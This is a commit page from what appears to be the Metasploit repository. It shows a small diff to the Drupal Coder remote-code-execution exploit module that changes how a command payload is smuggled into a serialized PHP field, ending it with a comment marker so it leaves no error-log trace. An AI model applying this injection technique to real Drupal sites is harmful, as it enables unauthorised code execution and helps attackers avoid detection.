Skip to content

Commit d38e9f8

Browse files
committed
Using # instead of ;. Semicolon is causing msg in error.log.
1 parent ba79579 commit d38e9f8

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/unix/webapp/drupal_coder_exec.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -80,10 +80,10 @@ def exploit
8080
p << 's:10:"extensions";a:1:{s:3:"php";s:3:"php";}'
8181
p << 's:5:"items";a:1:{i:0;a:3:{s:7:"old_dir";s:12:"../../images";'
8282
p << 's:7:"new_dir";s:'
83-
p << (payload.encoded.length + 4).to_s
83+
p << (payload.encoded.length + 5).to_s
8484
p << ':"-v;'
8585
p << payload.encoded
86-
p << ';";s:4:"name";s:4:"test";}}}'
86+
p << ' #";s:4:"name";s:4:"test";}}}'
8787
payload = "data://text/plain;base64,#{Rex::Text.encode_base64(p)}"
8888
send_request_cgi(
8989
'method' => 'GET',

0 commit comments

Comments
 (0)